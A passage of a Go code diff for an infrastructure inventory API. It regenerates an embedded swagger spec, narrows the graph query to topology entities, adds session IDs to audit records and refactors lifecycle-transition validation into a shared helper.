"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",
|
||||||
"7gAA",
|
"7ItPcbuH2aIrLtS3qDY+oEZ3zuiCQg2KqreC69SYBC+lRP0MUpLBEKeqNi3USzR9aom7NEsLopc+z2oz",
|
||||||
|
"hPNt9f26AyZZCjVKgnOsmsp5UVYnChmSjjRcnnBlq6vlOH6Kpl7JxGYsm+9mRCWu+mCCQja+x1SDy2Lg",
|
||||||
|
"LrhQq++5Sg6fP37+/wEAAP//VvsxiT/wAAA=",
|
||||||
}
|
}
|
||||||
|
|
||||||
// GetSwagger returns the content of the embedded swagger specification file
|
// GetSwagger returns the content of the embedded swagger specification file
|
||||||
|
|||||||
@@ -5,6 +5,7 @@ import (
|
|||||||
"crypto/rand"
|
"crypto/rand"
|
||||||
"crypto/sha256"
|
"crypto/sha256"
|
||||||
"encoding/json"
|
"encoding/json"
|
||||||
|
"errors"
|
||||||
"fmt"
|
"fmt"
|
||||||
"math/big"
|
"math/big"
|
||||||
"strconv"
|
"strconv"
|
||||||
@@ -24,7 +25,12 @@ import (
|
|||||||
const (
|
const (
|
||||||
defaultLimit = 50
|
defaultLimit = 50
|
||||||
maxLimit = 200
|
maxLimit = 200
|
||||||
graphNodeCap = 500
|
// graphNodeCap bounds the whole-graph view. The cognition transactional
|
||||||
|
// types (execution, task) are audit records, not topology, and previously
|
||||||
|
// crowded out every host/lxc/service; the default whole-graph view below
|
||||||
|
// excludes them so the cap is spent on the actual fleet graph. Operators
|
||||||
|
// still reach executions/tasks via list_entities.
|
||||||
|
graphNodeCap = 2000
|
||||||
)
|
)
|
||||||
|
|
||||||
// actorInfo returns the caller's (type, label) from the request context,
|
// actorInfo returns the caller's (type, label) from the request context,
|
||||||
@@ -307,14 +313,19 @@ func (s *Server) GetGraph(ctx context.Context, req gen.GetGraphRequestObject) (g
|
|||||||
// alphabetically. Without this the cap fills with exec:* rows and
|
// alphabetically. Without this the cap fills with exec:* rows and
|
||||||
// drops every host/lxc/service/vm — and every edge those entities
|
// drops every host/lxc/service/vm — and every edge those entities
|
||||||
// connect — because edges require both endpoints in the node set.
|
// connect — because edges require both endpoints in the node set.
|
||||||
|
// Exclude the cognition transactional types (execution/task): they
|
||||||
|
// are audit records rather than topology, and at ~380 rows they
|
||||||
|
// consumed most of the old 500-node cap.
|
||||||
nodes, err = s.queryEntities(ctx, `
|
nodes, err = s.queryEntities(ctx, `
|
||||||
SELECT `+entityCols+`
|
SELECT `+entityCols+`
|
||||||
FROM entities e
|
FROM entities e
|
||||||
LEFT JOIN entity_status st ON st.entity_id = e.id
|
LEFT JOIN entity_status st ON st.entity_id = e.id
|
||||||
WHERE e.id IN (
|
WHERE e.type NOT IN ('execution','task')
|
||||||
|
AND e.id IN (
|
||||||
SELECT e2.id FROM entities e2
|
SELECT e2.id FROM entities e2
|
||||||
LEFT JOIN relationships r ON r.valid_to IS NULL
|
LEFT JOIN relationships r ON r.valid_to IS NULL
|
||||||
AND (r.source_id = e2.id OR r.target_id = e2.id)
|
AND (r.source_id = e2.id OR r.target_id = e2.id)
|
||||||
|
WHERE e2.type NOT IN ('execution','task')
|
||||||
GROUP BY e2.id
|
GROUP BY e2.id
|
||||||
ORDER BY count(r.type) DESC, e2.slug
|
ORDER BY count(r.type) DESC, e2.slug
|
||||||
LIMIT $1
|
LIMIT $1
|
||||||
@@ -807,7 +818,7 @@ func (s *Server) QueryAudit(ctx context.Context, req gen.QueryAuditRequestObject
|
|||||||
|
|
||||||
rows, err := s.pool.Query(ctx, `
|
rows, err := s.pool.Query(ctx, `
|
||||||
SELECT id, ts, actor_type, actor_id::text, action, entity_id::text,
|
SELECT id, ts, actor_type, actor_id::text, action, entity_id::text,
|
||||||
method, path, status_code, detail, source_ip, correlation_id
|
method, path, status_code, detail, source_ip, correlation_id, session_id::text
|
||||||
FROM audit_log
|
FROM audit_log
|
||||||
WHERE ($1::text IS NULL OR actor_type = $1)
|
WHERE ($1::text IS NULL OR actor_type = $1)
|
||||||
AND ($2::text IS NULL OR actor_id::text = $2)
|
AND ($2::text IS NULL OR actor_id::text = $2)
|
||||||
@@ -828,10 +839,10 @@ func (s *Server) QueryAudit(ctx context.Context, req gen.QueryAuditRequestObject
|
|||||||
for rows.Next() {
|
for rows.Next() {
|
||||||
var a gen.AuditEntry
|
var a gen.AuditEntry
|
||||||
var detailBytes []byte
|
var detailBytes []byte
|
||||||
var actID, entID, method, path, sourceIP, corrID *string
|
var actID, entID, method, path, sourceIP, corrID, sessionID *string
|
||||||
var statusCode *int
|
var statusCode *int
|
||||||
if err := rows.Scan(&a.Id, &a.Ts, &a.ActorType, &actID, &a.Action, &entID,
|
if err := rows.Scan(&a.Id, &a.Ts, &a.ActorType, &actID, &a.Action, &entID,
|
||||||
&method, &path, &statusCode, &detailBytes, &sourceIP, &corrID); err != nil {
|
&method, &path, &statusCode, &detailBytes, &sourceIP, &corrID, &sessionID); err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
a.ActorId = actID
|
a.ActorId = actID
|
||||||
@@ -989,6 +1000,7 @@ func (s *Server) CreateEntity(ctx context.Context, req gen.CreateEntityRequestOb
|
|||||||
entityID := inserted.ID
|
entityID := inserted.ID
|
||||||
if auditErr := observability.Audit(ctx, q, actorType, actor, "create",
|
if auditErr := observability.Audit(ctx, q, actorType, actor, "create",
|
||||||
&entityID, "POST", "/api/v1/entities", "",
|
&entityID, "POST", "/api/v1/entities", "",
|
||||||
|
nil,
|
||||||
map[string]any{"type": req.Body.Type, "slug": slug}); auditErr != nil {
|
map[string]any{"type": req.Body.Type, "slug": slug}); auditErr != nil {
|
||||||
return nil, auditErr
|
return nil, auditErr
|
||||||
}
|
}
|
||||||
@@ -999,7 +1011,9 @@ func (s *Server) CreateEntity(ctx context.Context, req gen.CreateEntityRequestOb
|
|||||||
return nil, eventErr
|
return nil, eventErr
|
||||||
}
|
}
|
||||||
|
|
||||||
ensureDefaultChecks(ctx, tx, inserted.ID, slug, req.Body.Type, attrsJSON)
|
if err := ensureDefaultChecks(ctx, tx, inserted.ID, slug, req.Body.Type, inserted.Name, attrsJSON); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
if err := tx.Commit(ctx); err != nil {
|
if err := tx.Commit(ctx); err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
@@ -1050,49 +1064,15 @@ func (s *Server) PatchEntity(ctx context.Context, req gen.PatchEntityRequestObje
|
|||||||
|
|
||||||
// Validate lifecycle transition if state is being changed.
|
// Validate lifecycle transition if state is being changed.
|
||||||
if req.Body.State != nil && *req.Body.State != "" {
|
if req.Body.State != nil && *req.Body.State != "" {
|
||||||
// Get lifecycle def for the entity's type.
|
fromState := ""
|
||||||
lc, err := sqlcgen.New(tx).GetLifecycleForType(ctx, current.Type)
|
if current.State != nil {
|
||||||
if err != nil {
|
fromState = *current.State
|
||||||
if err == pgx.ErrNoRows {
|
}
|
||||||
// No lifecycle defined — any state is allowed.
|
if err := db.ValidateTransition(ctx, tx, id, current.Type, fromState, *req.Body.State); err != nil {
|
||||||
} else {
|
if errors.Is(err, db.ErrTransitionInvalid) {
|
||||||
return nil, err
|
return nil, fmt.Errorf("%w: %v", domain.ErrInvalidTransition, err)
|
||||||
}
|
|
||||||
} else {
|
|
||||||
var transitions map[string]map[string]json.RawMessage
|
|
||||||
if err := json.Unmarshal(lc.Transitions, &transitions); err != nil {
|
|
||||||
return nil, fmt.Errorf("parse lifecycle transitions: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
fromState := ""
|
|
||||||
if current.State != nil {
|
|
||||||
fromState = *current.State
|
|
||||||
}
|
|
||||||
toState := *req.Body.State
|
|
||||||
|
|
||||||
if toState != fromState {
|
|
||||||
tos, ok := transitions[fromState]
|
|
||||||
if !ok {
|
|
||||||
return nil, fmt.Errorf("%w: no transitions from %q", domain.ErrInvalidTransition, fromState)
|
|
||||||
}
|
|
||||||
trans, ok := tos[toState]
|
|
||||||
if !ok {
|
|
||||||
return nil, fmt.Errorf("%w: %s → %s", domain.ErrInvalidTransition, fromState, toState)
|
|
||||||
}
|
|
||||||
|
|
||||||
// Parse preconditions: {"requires": ["check-name", ...]}
|
|
||||||
var gate struct {
|
|
||||||
Requires []string `json:"requires"`
|
|
||||||
}
|
|
||||||
if err := json.Unmarshal(trans, &gate); err == nil && len(gate.Requires) > 0 {
|
|
||||||
for _, check := range gate.Requires {
|
|
||||||
if err := checkPrecondition(ctx, tx, id, current.Type, check); err != nil {
|
|
||||||
return nil, fmt.Errorf("%w: precondition %q not met: %v",
|
|
||||||
domain.ErrInvalidTransition, check, err)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
return nil, err
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1131,6 +1111,7 @@ func (s *Server) PatchEntity(ctx context.Context, req gen.PatchEntityRequestObje
|
|||||||
patchActorType, patchActor := actorInfo(ctx)
|
patchActorType, patchActor := actorInfo(ctx)
|
||||||
if auditErr := observability.Audit(ctx, q, patchActorType, patchActor, "patch",
|
if auditErr := observability.Audit(ctx, q, patchActorType, patchActor, "patch",
|
||||||
&id, "PATCH", "/api/v1/entities/"+req.Id, "",
|
&id, "PATCH", "/api/v1/entities/"+req.Id, "",
|
||||||
|
nil,
|
||||||
map[string]any{"version": expectedVersion}); auditErr != nil {
|
map[string]any{"version": expectedVersion}); auditErr != nil {
|
||||||
return nil, auditErr
|
return nil, auditErr
|
||||||
}
|
}
|
||||||
@@ -1260,12 +1241,15 @@ func (s *Server) EnrollClient(ctx context.Context, req gen.EnrollClientRequestOb
|
|||||||
entityID := id
|
entityID := id
|
||||||
_ = observability.Audit(ctx, q, "operator", actor, "enroll",
|
_ = observability.Audit(ctx, q, "operator", actor, "enroll",
|
||||||
&entityID, "POST", "/api/v1/clients/enroll", "",
|
&entityID, "POST", "/api/v1/clients/enroll", "",
|
||||||
|
nil,
|
||||||
map[string]any{"slug": req.Body.Slug, "mesh_ip": meshIP})
|
map[string]any{"slug": req.Body.Slug, "mesh_ip": meshIP})
|
||||||
_ = observability.Event(ctx, q, "client.enrolled", &entityID,
|
_ = observability.Event(ctx, q, "client.enrolled", &entityID,
|
||||||
"info", "oikos-api", "",
|
"info", "oikos-api", "",
|
||||||
map[string]any{"slug": req.Body.Slug, "type": current.Type})
|
map[string]any{"slug": req.Body.Slug, "type": current.Type})
|
||||||
|
|
||||||
ensureDefaultChecks(ctx, tx, id, req.Body.Slug, current.Type, attrsJSON)
|
if err := ensureDefaultChecks(ctx, tx, id, req.Body.Slug, current.Type, current.Name, attrsJSON); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
if err := tx.Commit(ctx); err != nil {
|
if err := tx.Commit(ctx); err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
@@ -1452,6 +1436,7 @@ func (s *Server) ProvisionEntity(ctx context.Context, req gen.ProvisionEntityReq
|
|||||||
_, actor := actorInfo(ctx)
|
_, actor := actorInfo(ctx)
|
||||||
_ = observability.Audit(ctx, q, "operator", actor, "provision",
|
_ = observability.Audit(ctx, q, "operator", actor, "provision",
|
||||||
&entityID, "POST", "/api/v1/entities/provision", "",
|
&entityID, "POST", "/api/v1/entities/provision", "",
|
||||||
|
nil,
|
||||||
map[string]any{"slug": req.Body.Slug, "host": hostSlug})
|
map[string]any{"slug": req.Body.Slug, "host": hostSlug})
|
||||||
_ = observability.Event(ctx, q, "entity.provisioned", &entityID,
|
_ = observability.Event(ctx, q, "entity.provisioned", &entityID,
|
||||||
"info", "oikos-api", "",
|
"info", "oikos-api", "",
|
||||||
@@ -1542,97 +1527,5 @@ func generateAgeKeypair() (pubKey, privKey string, err error) {
|
|||||||
return pub, priv, nil
|
return pub, priv, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// checkPrecondition validates a named lifecycle transition precondition.
|
|
||||||
func checkPrecondition(ctx context.Context, tx pgx.Tx, entityID uuid.UUID, entityType, check string) error {
|
|
||||||
switch check {
|
|
||||||
case "no-inbound-edges":
|
|
||||||
var count int
|
|
||||||
err := tx.QueryRow(ctx,
|
|
||||||
"SELECT count(*) FROM relationships WHERE target_id = $1 AND valid_to IS NULL", entityID).Scan(&count)
|
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
if count > 0 {
|
|
||||||
return fmt.Errorf("%d inbound relationship edges remaining", count)
|
|
||||||
}
|
|
||||||
case "backups-verified":
|
|
||||||
var attrs string
|
|
||||||
err := tx.QueryRow(ctx, "SELECT coalesce(attributes::text,'{}') FROM entities WHERE id = $1", entityID).Scan(&attrs)
|
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
if !strings.Contains(attrs, "backups_verified") {
|
|
||||||
return fmt.Errorf("backup verification not recorded in entity attributes")
|
|
||||||
}
|
|
||||||
case "secrets-revoked":
|
|
||||||
var attrs string
|
|
||||||
err := tx.QueryRow(ctx, "SELECT coalesce(attributes::text,'{}') FROM entities WHERE id = $1", entityID).Scan(&attrs)
|
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
if !strings.Contains(attrs, "secrets_revoked") {
|
|
||||||
return fmt.Errorf("secret revocation not recorded in entity attributes")
|
|
||||||
}
|
|
||||||
case "ingress-dns-removed":
|
|
||||||
var attrs string
|
|
||||||
err := tx.QueryRow(ctx, "SELECT coalesce(attributes::text,'{}') FROM entities WHERE id = $1", entityID).Scan(&attrs)
|
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
if !strings.Contains(attrs, "ingress_dns_removed") {
|
|
||||||
return fmt.Errorf("ingress/DNS removal not recorded in entity attributes")
|
|
||||||
}
|
|
||||||
case "age-key-enrolled-if-needed":
|
|
||||||
if entityType == "workstation" {
|
|
||||||
var attrs string
|
|
||||||
